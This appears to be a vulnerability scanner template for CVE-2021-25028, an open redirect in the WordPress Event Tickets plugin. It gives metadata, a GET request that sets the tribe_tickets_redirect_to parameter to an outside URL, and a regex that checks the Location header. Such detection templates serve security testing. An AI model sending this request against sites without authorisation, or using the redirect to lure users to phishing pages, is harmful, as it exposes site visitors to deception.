id: CVE-2021-25028 info: name: WordPress Event Tickets < 5.2.2 - Open Redirect author: dhiyaneshDk severity: medium description: WordPress Event Tickets < 5.2.2 is susceptible to an open redirect vulnerability. The plugin does not validate the tribe_tickets_redirect_to parameter before redirecting the user to the given value, leading to an arbitrary redirect issue. reference: - https://wpscan.com/vulnerability/80b0682e-2c3b-441b-9628-6462368e5fc7 - https://nvd.nist.gov/vuln/detail/CVE-2021-25028 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-25028 cwe-id: CWE-601 tags: cve,cve2021,wordpress,redirect,wp-plugin,eventtickets requests: - method: GET path: - "{{BaseURL}}/wp-admin/admin.php?page=wp_ajax_rsvp-form&tribe_tickets_redirect_to=https://example.com" matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 # Enhanced by mp on 2022/04/13